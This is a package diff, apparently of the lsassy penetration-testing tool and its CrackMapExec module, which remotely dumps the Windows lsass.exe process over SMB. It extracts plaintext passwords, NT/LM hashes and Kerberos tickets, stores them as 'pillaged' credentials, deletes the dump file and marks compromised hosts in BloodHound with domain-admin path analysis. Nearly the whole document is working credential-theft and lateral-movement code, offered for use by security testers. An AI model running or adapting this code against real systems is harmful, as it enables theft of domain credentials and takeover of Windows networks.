118 context.log.debug('{}'.format(line))
119 context.log.debug('----- end output -----')
120
121 if code != 0:
122 # Debug output
123 if code == 5:
124 context.log.error('Lsass is protected')
125 else:
126 context.log.error('Error while executing lsassy, try using CrackMapExec with --verbose to get more details')
127 context.log.debug('----- lsassy error [{}] -----'.format(code))
128 for line in err.split("\n"):
129 context.log.debug('{}'.format(line))
130 context.log.debug('----- end error -----')
131 elif not context.verbose:
132 self.process_credentials(context, connection, out)
133
134 @staticmethod
135 def run(cmd):
136 proc = subprocess.Popen([
137 '/bin/sh', '-c', cmd],
138 stdout=subprocess.PIPE,
139 stderr=subprocess.PIPE,
140 )
141 stdout, stderr = proc.communicate()
142
143 return proc.returncode, stdout, stderr
144
145 def process_credentials(self, context, connection, credentials):
146 credentials = json.loads(credentials)
147 for domain, users in credentials.items():
148 for username, creds in users.items():
149 for cred in creds:
150 password = cred['password']
151 lmhash = cred['lmhash']
152 nthash = cred['nthash']
153 self.save_credentials(context, connection, domain, username, password, lmhash, nthash)
154 self.print_credentials(context, connection, domain, username, password, lmhash, nthash)
155
156 @staticmethod
157 def save_credentials(context, connection, domain, username, password, lmhash, nthash):
158 host_id = context.db.get_computers(connection.host)[0][0]
159 if password is not None:
160 credential_type = 'plaintext'
161 else:
162 credential_type = 'hash'
163 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
164 context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
165
166 def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
167 if password is None:
168 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
169 output = "%s\\%s %s" % (domain.decode('utf-8'), username.decode('utf-8'), password.decode('utf-8'))
170 if self.bloodhound and self.bloodhound_analysis(context, connection, username):
171 output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
172 context.log.highlight(output)
173
174 def set_as_owned(self, context, connection):
175 try:
176 from neo4j.v1 import GraphDatabase
177 except:
178 from neo4j import GraphDatabase
179 from neo4j.exceptions import AuthError, ServiceUnavailable
180 host_fqdn = (connection.hostname + "." + connection.domain).upper()
181 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
182
183 try:
184 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
185 except AuthError as e:
186 context.log.error(
187 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
188 sys.exit()
189 except ServiceUnavailable as e:
190 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
191 sys.exit()
192 except Exception as e:
193 context.log.error("Unexpected error with Neo4J")
194 context.log.debug("Error : ".format(str(e)))
195 sys.exit()
196
197 with driver.session() as session:
198 with session.begin_transaction() as tx:
199 result = tx.run(
200 "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
201 if len(result.value()) > 0:
202 context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
203 else:
204 context.log.error(
205 "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
206 driver.close()
207
208 def bloodhound_analysis(self, context, connection, username):
209 try:
210 from neo4j.v1 import GraphDatabase
211 except:
212 from neo4j import GraphDatabase
213 from neo4j.exceptions import AuthError, ServiceUnavailable
214 username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
215 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
216
217 try:
218 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
219 except AuthError as e:
220 context.log.error(
221 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
222 return False
223 except ServiceUnavailable as e:
224 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
225 return False
226 except Exception as e:
227 context.log.error("Unexpected error with Neo4J")
228 context.log.debug("Error : ".format(str(e)))
229 return False
230
231 edges = [
232 "MemberOf",
233 "HasSession",
234 "AdminTo",
235 "AllExtendedRights",
236 "AddMember",
237 "ForceChangePassword",
238 "GenericAll",
239 "GenericWrite",
240 "Owns",
241 "WriteDacl",
242 "WriteOwner",
243 "CanRDP",
244 "ExecuteDCOM",
245 "AllowedToDelegate",
246 "ReadLAPSPassword",
247 "Contains",
248 "GpLink",
249 "AddAllowedToAct",
250 "AllowedToAct",
251 "SQLAdmin"
252 ]
253 # Remove blacklisted edges
254 without_edges = [e.lower() for e in self.without_edges.split(",")]
255 effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
256
257 with driver.session() as session:
258 with session.begin_transaction() as tx:
259 query = """
260 MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
261 WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
262 RETURN COUNT(p) AS pathNb
263 """.format(username, '|'.join(effective_edges))
264
265 context.log.debug("Query : {}".format(query))
266 result = tx.run(query)
267 driver.close()
268 return result.value()[0] > 0
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cme/lsassy3.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 import json
7 import subprocess
8 import sys
9
10 from lsassy import Lsassy, Logger, Dumper, Parser, Writer
11
12
13 class CMEModule:
14 name = 'lsassy'
15 description = "Dump lsass and parse the result remotely with lsassy"
16 supported_protocols = ['smb']
17 opsec_safe = True
18 multiple_hosts = True
19
20 def options(self, context, module_options):
21 """
22 METHOD Method to use to dump lsass.exe with lsassy. See lsassy -h for more details
23 REMOTE_LSASS_DUMP Name of the remote lsass dump (default: Random)
24 PROCDUMP_PATH Path to procdump on attacker host (Required for method 2)
25 DUMPERT_PATH Path to procdump on attacker host (Required for method 5)
26 BLOODHOUND Enable Bloodhound integration (default: false)
27 NEO4JURI URI for Neo4j database (default: 127.0.0.1)
28 NEO4JPORT Listeninfg port for Neo4j database (default: 7687)
29 NEO4JUSER Username for Neo4j database (default: 'neo4j')
30 NEO4JPASS Password for Neo4j database (default: 'neo4j')
31 WITHOUT_EDGES List of black listed edges (example: 'SQLAdmin,CanRDP', default: '')
32 """
33
34 self.method = False
35 self.remote_lsass_dump = False
36 self.procdump_path = False
37 self.dumpert_path = False
38
39 if 'METHOD' in module_options:
40 self.method = module_options['METHOD']
41
42 if 'REMOTE_LSASS_DUMP' in module_options:
43 self.remote_lsass_dump = module_options['REMOTE_LSASS_DUMP']
44
45 if 'PROCDUMP_PATH' in module_options:
46 self.procdump_path = module_options['PROCDUMP_PATH']
47
48 if 'DUMPERT_PATH' in module_options:
49 self.dumpert_path = module_options['DUMPERT_PATH']
50
51 self.bloodhound = False
52 self.neo4j_URI = "127.0.0.1"
53 self.neo4j_Port = "7687"
54 self.neo4j_user = "neo4j"
55 self.neo4j_pass = "neo4j"
56 self.without_edges = ""
57
58 if module_options and 'BLOODHOUND' in module_options:
59 self.bloodhound = module_options['BLOODHOUND']
60 if module_options and 'NEO4JURI' in module_options:
61 self.neo4j_URI = module_options['NEO4JURI']
62 if module_options and 'NEO4JPORT' in module_options:
63 self.neo4j_Port = module_options['NEO4JPORT']
64 if module_options and 'NEO4JUSER' in module_options:
65 self.neo4j_user = module_options['NEO4JUSER']
66 if module_options and 'NEO4JPASS' in module_options:
67 self.neo4j_pass = module_options['NEO4JPASS']
68 if module_options and 'WITHOUT_EDGES' in module_options:
69 self.without_edges = module_options['WITHOUT_EDGES']
70
71 def on_admin_login(self, context, connection):
72 if self.bloodhound:
73 self.set_as_owned(context, connection)
74
75 """
76 Since lsassy is py3.6+ and CME is still py2, lsassy cannot be
77 imported. For this reason, connection information must be sent to lsassy
78 so it can create a new connection.
79
80 When CME is py3.6 compatible, CME connection object will be reused.
81 """
82 domain_name = connection.domain
83 username = connection.username
84 password = getattr(connection, "password", "")
85 lmhash = getattr(connection, "lmhash", "")
86 nthash = getattr(connection, "nthash", "")
87
88 password = "" if password is None else password
89 lmhash = "" if lmhash is None else lmhash
90 nthash = "" if nthash is None else nthash
91
92 host = connection.host
93
94 log_options = Logger.Options()
95 dump_options = Dumper.Options()
96 parse_options = Parser.Options()
97 write_option = Writer.Options(format="json", quiet=True)
98
99 if self.method:
100 dump_options.method = int(self.method)
101
102 if self.remote_lsass_dump:
103 dump_options.dumpname = self.remote_lsass_dump
104
105 if self.procdump_path:
106 dump_options.procdump_path = self.procdump_path
107
108 if self.dumpert_path:
109 dump_options.dumpert_path = self.dumpert_path
110
111 lsassy = Lsassy(
112 hostname=host,
113 username=username,
114 domain=domain_name,
115 password=password,
116 lmhash=lmhash,
117 nthash=nthash,
118 log_options=log_options,
119 dump_options=dump_options,
120 parse_options=parse_options,
121 write_options=write_option
122 )
123 credentials = lsassy.get_credentials()
124
125 if not credentials['success']:
126 context.log.error(credentials['error_msg'])
127 if context.verbose and credentials['error_exception']:
128 context.log.error(credentials['error_exception'])
129 else:
130 self.process_credentials(context, connection, credentials["credentials"])
131
132 @staticmethod
133 def run(cmd):
134 proc = subprocess.Popen([
135 '/bin/sh', '-c', cmd],
136 stdout=subprocess.PIPE,
137 stderr=subprocess.PIPE,
138 )
139 stdout, stderr = proc.communicate()
140
141 return proc.returncode, stdout, stderr
142
143 def process_credentials(self, context, connection, credentials):
144 for domain, creds in json.loads(credentials).items():
145 for username, passwords in creds.items():
146 for password in passwords:
147 plain = password["password"]
148 lmhash = password["lmhash"]
149 nthash = password["nthash"]
150 self.save_credentials(context, connection, domain, username, plain, lmhash, nthash)
151 self.print_credentials(context, connection, domain, username, plain, lmhash, nthash)
152
153
154
155 @staticmethod
156 def save_credentials(context, connection, domain, username, password, lmhash, nthash):
157 host_id = context.db.get_computers(connection.host)[0][0]
158 if password is not None:
159 credential_type = 'plaintext'
160 else:
161 credential_type = 'hash'
162 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
163 context.db.add_credential(credential_type, domain, username, password, pillaged_from=host_id)
164
165 def print_credentials(self, context, connection, domain, username, password, lmhash, nthash):
166 if password is None:
167 password = ':'.join(h for h in [lmhash, nthash] if h is not None)
168 output = "%s\\%s %s" % (domain, username, password)
169 if self.bloodhound and self.bloodhound_analysis(context, connection, username):
170 output += " [{}PATH TO DA{}]".format('\033[91m', '\033[93m') # Red and back to yellow
171 context.log.highlight(output)
172
173 def set_as_owned(self, context, connection):
174 try:
175 from neo4j.v1 import GraphDatabase
176 except:
177 from neo4j import GraphDatabase
178 from neo4j.exceptions import AuthError, ServiceUnavailable
179 host_fqdn = (connection.hostname + "." + connection.domain).upper()
180 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
181
182 try:
183 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
184 except AuthError as e:
185 context.log.error(
186 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
187 sys.exit()
188 except ServiceUnavailable as e:
189 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
190 sys.exit()
191 except Exception as e:
192 context.log.error("Unexpected error with Neo4J")
193 context.log.debug("Error : ".format(str(e)))
194 sys.exit()
195
196 with driver.session() as session:
197 with session.begin_transaction() as tx:
198 result = tx.run(
199 "MATCH (c:Computer {{name:\"{}\"}}) SET c.owned=True RETURN c.name AS name".format(host_fqdn))
200 if len(result.value()) > 0:
201 context.log.success("Node {} successfully set as owned in BloodHound".format(host_fqdn))
202 else:
203 context.log.error(
204 "Node {} does not appear to be in Neo4J database. Have you imported correct data ?".format(host_fqdn))
205 driver.close()
206
207 def bloodhound_analysis(self, context, connection, username):
208 try:
209 from neo4j.v1 import GraphDatabase
210 except:
211 from neo4j import GraphDatabase
212 from neo4j.exceptions import AuthError, ServiceUnavailable
213 username = (username + "@" + connection.domain).upper().replace("\\", "\\\\")
214 uri = "bolt://{}:{}".format(self.neo4j_URI, self.neo4j_Port)
215
216 try:
217 driver = GraphDatabase.driver(uri, auth=(self.neo4j_user, self.neo4j_pass))
218 except AuthError as e:
219 context.log.error(
220 "Provided credentials ({}:{}) are not valid. See --options".format(self.neo4j_user, self.neo4j_pass))
221 return False
222 except ServiceUnavailable as e:
223 context.log.error("Neo4J does not seem to be available on {}. See --options".format(uri))
224 return False
225 except Exception as e:
226 context.log.error("Unexpected error with Neo4J")
227 context.log.debug("Error : ".format(str(e)))
228 return False
229
230 edges = [
231 "MemberOf",
232 "HasSession",
233 "AdminTo",
234 "AllExtendedRights",
235 "AddMember",
236 "ForceChangePassword",
237 "GenericAll",
238 "GenericWrite",
239 "Owns",
240 "WriteDacl",
241 "WriteOwner",
242 "CanRDP",
243 "ExecuteDCOM",
244 "AllowedToDelegate",
245 "ReadLAPSPassword",
246 "Contains",
247 "GpLink",
248 "AddAllowedToAct",
249 "AllowedToAct",
250 "SQLAdmin"
251 ]
252 # Remove blacklisted edges
253 without_edges = [e.lower() for e in self.without_edges.split(",")]
254 effective_edges = [edge for edge in edges if edge.lower() not in without_edges]
255
256 with driver.session() as session:
257 with session.begin_transaction() as tx:
258 query = """
259 MATCH (n:User {{name:\"{}\"}}),(m:Group),p=shortestPath((n)-[r:{}*1..]->(m))
260 WHERE m.objectsid ENDS WITH "-512" OR m.objectid ENDS WITH "-512"
261 RETURN COUNT(p) AS pathNb
262 """.format(username, '|'.join(effective_edges))
263
264 context.log.debug("Query : {}".format(query))
265 result = tx.run(query)
266 driver.close()
267 return result.value()[0] > 0
+0
-1
cme/requirements.txt less more
0 lsassy
+6
-0
debian/changelog less more
0 python-lsassy (3.0.0-0kali1) UNRELEASED; urgency=low
1
2 * New upstream release.
3
4 -- Kali Janitor <[email protected]> Tue, 19 Oct 2021 07:51:44 -0000
5
06 python-lsassy (2.1.2-0kali1) kali-dev; urgency=medium
17
28 * Initial release
+0
-23
examples/get_credentials.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com
4
5 from lsassy import Lsassy, Logger, Dumper, Parser, Writer
6
7 log_options = Logger.Options(verbosity=2, quiet=False)
8 dump_options = Dumper.Options(method=2, dumpname="lsass.dmp", procdump="/opt/Sysinternals/procdump.exe")
9 parse_options = Parser.Options(raw=True)
10 write_option = Writer.Options(format="pretty", output_file="/tmp/credentials.txt")
11
12 lsassy = Lsassy(
13 hostname="192.168.1.122",
14 username="pixis",
15 domain="adsec.local",
16 password="h4cknd0",
17 log_options=log_options,
18 dump_options=dump_options,
19 parse_options=parse_options,
20 write_options=write_option
21 )
22 print(lsassy.get_credentials())
+10
-0
hooks/hook-lsassy.py less more
0 from PyInstaller.utils.hooks import collect_submodules
1
2 """
3 Note that output "table_output" has been removed. There's a bug regarding pyinstaller and
4 rich library which prevents compiling lsassy if this lib is somehow imported.
5 """
6 hiddenimports = (collect_submodules('lsassy.exec')
7 + collect_submodules('lsassy.output')
8 + collect_submodules('lsassy.dumpmethod'))
9 hiddenimports.remove('lsassy.output.table_output')
+1
-16
lsassy/__init__.py less more
0 # Author:
1 # Romain Bentz (pixis - @hackanddo)
2 # Website:
3 # https://beta.hackndo.com [FR]
4 # https://en.hackndo.com [EN]
5
6 from .core import Lsassy
7 from .modules.dumper import Dumper
8 from .modules.logger import Logger
9 from .modules.parser import Parser
10 from .modules.writer import Writer
11
12 __all__ = ["Lsassy", "Dumper", "Logger", "Parser", "Writer"]
13
14 name = "lsassy"
15
0 __version__ = '3.0.0'
+76
-0
lsassy/console.py less more
0 from lsassy import __version__
1 import sys
2 import argparse
3
4 from lsassy.core import ThreadPool
5
6
7 def main():
8 """
9 Command line function to call lsassy
10 """
11 version = __version__
12 parser = argparse.ArgumentParser(
13 prog="lsassy",
14 description='lsassy v{} - Remote lsass dump reader'.format(__version__)
15 )
16
17 group_dump = parser.add_argument_group('dump')
18 group_dump.add_argument('-m', '--dump-method', action='store', default="comsvcs",
19 help="Dumping method")
20 group_dump.add_argument('--dump-path', action='store',
21 help='Path to store lsass dumpfile (Default: \\Windows\\Temp)')
22 group_dump.add_argument('--dump-name', action='store', help='Name given to lsass dumpfile (Default: Random)')
23 group_dump.add_argument('-e', '--exec', action='store',
24 help='List of execution methods, comma separated (Default: smb,wmi,task,mmc)')
25 group_dump.add_argument('--no-powershell', action='store_true', help='Disable powershell')
26 group_dump.add_argument('-O', '--options', action='store',
27 help='Dump module options (Example procdump_path=/opt/procdump.exe,procdump=procdump.exe')
28 group_dump.add_argument('--timeout', action='store', type=int, default=5,
29 help='Max time to wait for lsass dump (Default 5s)')
30 group_dump.add_argument('--parse-only', action='store_true', help='Parse remote dump without dumping')
31
32 group_auth = parser.add_argument_group('authentication')
33 group_auth.add_argument('-u', '--username', action='store', help='Username')
34 group_auth.add_argument('-p', '--password', action='store', help='Plaintext password')
35 group_auth.add_argument('-d', '--domain', default="", action='store', help='Domain name')
36 group_auth.add_argument('--port', default=445, type=int, action='store', help='Port (Default: 445)')
37 group_auth.add_argument('--no-pass', action='store_true', help='Do not provide password (Default: False)')
38 group_auth.add_argument('-H', '--hashes', action='store', help='[LM:]NT hash')
39 group_auth.add_argument('-k', '--kerberos', action="store_true",
40 help='Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on '
41 'target parameters. If valid credentials '
42 'cannot be found, it will use the ones specified in the command line')
43 group_auth.add_argument('-dc-ip', action='store', metavar="ip address",
44 help='IP Address of the domain controller. If omitted it will use the domain part (FQDN) '
45 'specified in the target parameter')
46 group_auth.add_argument('-aesKey', action="store", metavar="hex key",
47 help='AES key to use for Kerberos Authentication '
48 '(128 or 256 bits)')
49
50 group_out = parser.add_argument_group('output')
51 group_out.add_argument('-K', '--kerberos-dir', action='store', help='Save kerberos tickets to a directory')
52 group_out.add_argument('-o', '--outfile', action='store', help='Output credentials to file')
53 group_out.add_argument('-f', '--format', choices=["pretty", "json", "grep", "table"], action='store', default="pretty",
54 help='Output format (Default pretty)')
55 group_out.add_argument('--users', action='store_true', help='Only display user accounts (No computer accounts)')
56
57 parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)')
58 parser.add_argument('--threads', default=10, type=int, action='store', help='Threads number')
59 parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials')
60 parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version))
61 parser.add_argument('target', nargs='*', type=str, action='store',
62 help='The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) '
63 'containing a list of targets')
64
65 if len(sys.argv) == 1:
66 parser.print_help()
67 sys.exit(1)
68
69 args = parser.parse_args()
70
71 ThreadPool(args.target, args).run()
72
73
74 if __name__ == "__main__":
75 main()
+232
-234
lsassy/core.py less more
0 #!/usr/bin/env python3
1 # Author:
2 # Romain Bentz (pixis - @hackanddo)
3 # Website:
4 # https://beta.hackndo.com
5
6 from multiprocessing import Process, RLock
7
8 from lsassy.modules.dumper import Dumper
9 from lsassy.modules.impacketconnection import ImpacketConnection
10 from lsassy.modules.logger import Logger
11 from lsassy.modules.parser import Parser
12 from lsassy.modules.writer import Writer
13 from lsassy.utils.utils import *
14
15 lock = RLock()
0 import logging
1 import signal
2
3 import threading
4 from queue import Queue
5 from lsassy import logger
6 from lsassy.utils import get_targets
7 from lsassy.parser import Parser
8 from lsassy.session import Session
9 from lsassy.writer import Writer
10 from lsassy.dumper import Dumper
11 from lsassy.impacketfile import ImpacketFile
12
13 lock = threading.RLock()
14
15
16 class Worker(threading.Thread):
17 def __init__(self, task_q):
18 super().__init__()
19 self.task_q = task_q
20 self.shutdown_flag = threading.Event()
21
22 def run(self):
23 while not self.shutdown_flag.is_set():
24 worker_lsassy = self.task_q.get()
25 self.name = worker_lsassy.target
26 worker_lsassy.run()
27 self.task_q.task_done()
28
29
30 class ThreadPool:
31 def __init__(self, targets, arguments):
32 self.targets = get_targets(targets)
33 self.arguments = arguments
34 self.threads = []
35 self.max_threads = arguments.threads
36 self.task_q = Queue(self.max_threads+10)
37 signal.signal(signal.SIGINT, self.interrupt_event)
38 signal.signal(signal.SIGTERM, self.interrupt_event)
39
40 def interrupt_event(self, signum, stack):
41 logging.error("**CTRL+C** QUITTING GRACEFULLY")
42 self.stop()
43 raise KeyboardInterrupt
44
45 def stop(self):
46 for thread in self.threads:
47 thread.shutdown_flag.set()
48 for thread in self.threads:
49 thread.join()
50
51 def isRunning(self):
52 return any(thread.is_alive() for thread in self.threads)
53
54 def run(self):
55 logger.init()
56 threading.current_thread().name = "[Core]"
57
58 if self.arguments.v == 1:
59 logging.getLogger().setLevel(logging.INFO)
60 elif self.arguments.v >= 2:
61 logging.getLogger().setLevel(logging.DEBUG)
62 else:
63 logging.getLogger().setLevel(logging.ERROR)
64 try:
65 # Turn-on the worker threads
66 for i in range(self.max_threads):
67 thread = Worker(self.task_q)
68 thread.daemon = True
69 self.threads.append(thread)
70 thread.start()
71
72 instance_id = 1
73 for target in self.targets:
74 self.task_q.put(Lsassy(target, self.arguments, instance_id))
75 instance_id += 1
76
77 # Block until all tasks are done
78 self.task_q.join()
79
80 except KeyboardInterrupt as e:
81 logging.error("Quitting.")
1682
1783
1884 class Lsassy:
19 def __init__(self,
20 hostname, username, domain="", password="", lmhash="", nthash="",
21 kerberos=False, aesKey="", dc_ip=None,
22 log_options=Logger.Options(),
23 dump_options=Dumper.Options(),
24 parse_options=Parser.Options(),
25 write_options=Writer.Options()
26 ):
27
28 self.conn_options = ImpacketConnection.Options(hostname, domain, username, password, lmhash, nthash, kerberos, aesKey, dc_ip)
29 self.log_options = log_options
30 self.dump_options = dump_options
31 self.parse_options = parse_options
32 self.write_options = write_options
33
34 self._target = hostname
35
36 self._log = Logger(self._target, log_options)
37
38 self._conn = None
39 self._dumper = None
40 self._parser = None
41 self._dumpfile = None
42 self._credentials = []
43 self._writer = None
44
45 def connect(self, options: ImpacketConnection.Options):
46 self._conn = ImpacketConnection(options)
47 self._conn.set_logger(self._log)
48 login_result = self._conn.login()
49 if not login_result.success():
50 return login_result
51
52 self._log.info("Authenticated")
53 return RetCode(ERROR_SUCCESS)
54
55 def dump_lsass(self, options=Dumper.Options()):
56 is_admin = self._conn.isadmin()
57 if not is_admin.success():
58 self._conn.close()
59 return is_admin
60
61 self._dumper = Dumper(self._conn, options)
62 dump_result = self._dumper.dump()
63 if not dump_result.success():
64 return dump_result
65 self._dumpfile = self._dumper.getfile()
66
67 self._log.info("Process lsass.exe has been dumped")
68 return RetCode(ERROR_SUCCESS)
69
70 def parse_lsass(self, options=Dumper.Options()):
71 self._parser = Parser(self._dumpfile, options)
72 parse_result = self._parser.parse()
73 if not parse_result.success():
74 return parse_result
75
76 self._credentials = self._parser.get_credentials()
77 self._log.info("Process lsass.exe has been parsed")
78 return RetCode(ERROR_SUCCESS)
79
80 def write_credentials(self, options=Writer.Options()):
81 self._writer = Writer(self._target, self._credentials, self._log, options)
82 write_result = self._writer.write()
83 if not write_result.success():
84 return write_result
85
86 return RetCode(ERROR_SUCCESS)
87
88 def clean(self):
89 if self._parser:
90 r = self._parser.clean()
91 if not r.success():
92 lsassy_warn(self._log, r)
93
94 if self._dumper:
95 r = self._dumper.clean()
96 if not r.success():
97 lsassy_warn(self._log, r)
98
99 if self._conn:
100 r = self._conn.clean()
101 if not r.success():
102 lsassy_warn(self._log, r)
103
104 self._log.info("Cleaning complete")
105
106 def get_credentials(self):
107 return_code = self.run()
108 self._writer = Writer(self._target, self._credentials, self._log, self.write_options)
109 ret = {
110 "success": True,
111 "credentials": self._writer.get_output()
112 }
113 if not return_code.success():
114 ret["success"] = False
115 ret["error_code"] = return_code.error_code
116 ret["error_msg"] = return_code.error_msg
117 ret["error_exception"] = return_code.error_exception
118
119 return ret
85 """
86 Main class to extract credentials from one remote host. Can be used in different threads for parallelization
87 """
88
89 def __init__(self, target_name, arguments, thread_id=1):
90 self.target = target_name
91 self.args = arguments
92 self.thread_id = thread_id
12093
12194 def run(self):
122 return_code = ERROR_UNDEFINED
95 """
96 Main method to dump credentials on a remote host
97 """
98 session, file, dumper, method = None, None, None, None
99
100 # Credential parsing
101 username = self.args.username if self.args.username else ""
102 password = self.args.password if self.args.password else ""
103
104 lmhash, nthash = "", ""
105 if not password and self.args.hashes:
106 if ":" in self.args.hashes:
107 lmhash, nthash = self.args.hashes.split(":")
108 else:
109 lmhash, nthash = 'aad3b435b51404eeaad3b435b51404ee', self.args.hashes
110
111 # Exec methods parsing
112 exec_methods = self.args.exec.split(",") if self.args.exec else None
113
114 # Dump modules options parsing
115 options = {v.split("=")[0]: v.split("=")[1] for v in self.args.options.split(",")} if self.args.options else {}
116
117 # Dump path checks
118 dump_path = self.args.dump_path
119 if dump_path:
120 dump_path = dump_path.replace('/', '\\')
121 if len(dump_path) > 1 and dump_path[1] == ":":
122 if dump_path[0] != "C":
123 logging.error("Drive '{}' is not supported. 'C' drive only.".format(dump_path[0]))
124 return False
125 dump_path = dump_path[2:]
126 if dump_path[-1] != "\\":
127 dump_path += "\\"
128
129 parse_only = self.args.parse_only
130 kerberos_dir = self.args.kerberos_dir
131
132 if parse_only and (dump_path is None or self.args.dump_name is None):
133 logging.error("--dump-path and --dump-name required for --parse-only option")
134 return False
135
123136 try:
124 return_code = self._run()
125 except KeyboardInterrupt as e:
126 print("")
127 self._log.warn("Quitting gracefully...")
128 return_code = RetCode(ERROR_USER_INTERRUPTION)
137 session = Session()
138 session.get_session(
139 address=self.target,
140 target_ip=self.target,
141 port=self.args.port,
142 lmhash=lmhash,
143 nthash=nthash,
144 username=username,
145 password=password,
146 domain=self.args.domain,
147 aesKey=self.args.aesKey,
148 dc_ip=self.args.dc_ip,
149 kerberos=self.args.kerberos,
150 timeout=self.args.timeout
151 )
152
153 if session.smb_session is None:
154 logging.error("Couldn't connect to remote host")
155 return False
156
157 if not parse_only:
158 dumper = Dumper(session, self.args.timeout).load(self.args.dump_method)
159 if dumper is None:
160 logging.error("Unable to load dump module")
161 return False
162
163 file = dumper.dump(no_powershell=self.args.no_powershell, exec_methods=exec_methods,
164 dump_path=dump_path,
165 dump_name=self.args.dump_name, timeout=self.args.timeout, **options)
166 if file is None:
167 logging.error("Unable to dump lsass.")
168 return False
169 else:
170 file = ImpacketFile(session).open(
171 share="C$",
172 path=dump_path,
173 file=self.args.dump_name,
174 timeout=self.args.timeout
175 )
176 if file is None:
177 logging.error("Unable to open lsass dump.")
178 return False
179
180 credentials, tickets = Parser(file).parse()
181 file.close()
182
183 if not parse_only:
184 ImpacketFile.delete(session, file.get_file_path(), timeout=self.args.timeout)
185 logging.success("Lsass dump successfully deleted")
186 else:
187 logging.debug("Not deleting lsass dump as --parse-only was provided")
188
189 if credentials is None:
190 logging.error("Unable to extract credentials from lsass. Cleaning.")
191 return False
192
193 with lock:
194 Writer(credentials, tickets).write(
195 self.args.format,
196 output_file=self.args.outfile,
197 quiet=self.args.quiet,
198 users_only=self.args.users,
199 kerberos_dir=kerberos_dir
200 )
201
202 except KeyboardInterrupt:
203 pass
129204 except Exception as e:
130 return_code = RetCode(ERROR_UNDEFINED, e)
205 logging.error("An unknown error has occurred.", exc_info=True)
131206 finally:
132 self.clean()
133 lsassy_exit(self._log, return_code)
134 return return_code
135
136 def _run(self):
137 """
138 Extract hashes from arguments
139 """
140
141 r = self.connect(self.conn_options)
142 if not r.success():
143 return r
144 r = self.dump_lsass(self.dump_options)
145 if not r.success():
146 return r
147 r = self.parse_lsass(self.parse_options)
148 if not r.success():
149 return r
150 r = self.write_credentials(self.write_options)
151 if not r.success():
152 return r
153 return RetCode(ERROR_SUCCESS)
154
155
156 class CLI:
157 def __init__(self, target):
158 self.conn_options = ImpacketConnection.Options()
159 self.log_options = Logger.Options()
160 self.dump_options = Dumper.Options()
161 self.parse_options = Parser.Options()
162 self.write_options = Writer.Options()
163 self.lsassy = None
164 self.target = target
165
166 def set_options_from_args(self, args):
167 # Logger Options
168 self.log_options.verbosity = args.v
169 self.log_options.quiet = args.quiet
170
171 # Connection Options
172 self.conn_options.hostname = self.target
173 self.conn_options.domain_name = '' if args.domain is None else args.domain
174 self.conn_options.username = '' if args.username is None else args.username
175 self.conn_options.kerberos = args.kerberos
176 self.conn_options.aes_key = '' if args.aesKey is None else args.aesKey
177 self.conn_options.dc_ip = args.dc_ip
178 self.conn_options.password = '' if args.password is None else args.password
179 if not self.conn_options.password and args.hashes:
180 if ":" in args.hashes:
181 self.conn_options.lmhash, self.conn_options.nthash = args.hashes.split(":")
182 else:
183 self.conn_options.lmhash, self.conn_options.nthash = 'aad3b435b51404eeaad3b435b51404ee', args.hashes
184
185 # Dumper Options
186 self.dump_options.dumpname = args.dumpname
187 self.dump_options.procdump_path = args.procdump
188 self.dump_options.dumpert_path = args.dumpert
189 self.dump_options.method = args.method
190 self.dump_options.timeout = args.timeout
191
192 # Parser Options
193 self.parse_options.raw = args.raw
194
195 # Writer Options
196 self.write_options.output_file = args.outfile
197 self.write_options.format = args.format
198 self.write_options.quiet = args.quiet
199
200 def run(self):
201 args = get_args()
202 self.set_options_from_args(args)
203 self.lsassy = Lsassy(
204 self.conn_options.hostname,
205 self.conn_options.username,
206 self.conn_options.domain_name,
207 self.conn_options.password,
208 self.conn_options.lmhash,
209 self.conn_options.nthash,
210 self.conn_options.kerberos,
211 self.conn_options.aesKey,
212 self.conn_options.dc_ip,
213 log_options=self.log_options,
214 dump_options=self.dump_options,
215 parse_options=self.parse_options,
216 write_options=self.write_options
217 )
218 return self.lsassy.run()
219
220
221 def run():
222 targets = get_targets(get_args().target)
223
224 if len(targets) == 1:
225 return CLI(targets[0]).run().error_code
226
227 jobs = [Process(target=CLI(target).run) for target in targets]
228 try:
229 for job in jobs:
230 job.start()
231 except KeyboardInterrupt as e:
232 print("\nQuitting gracefully...")
233 terminate_jobs(jobs)
234 finally:
235 join_jobs(jobs)
236
237 return 0
238
239
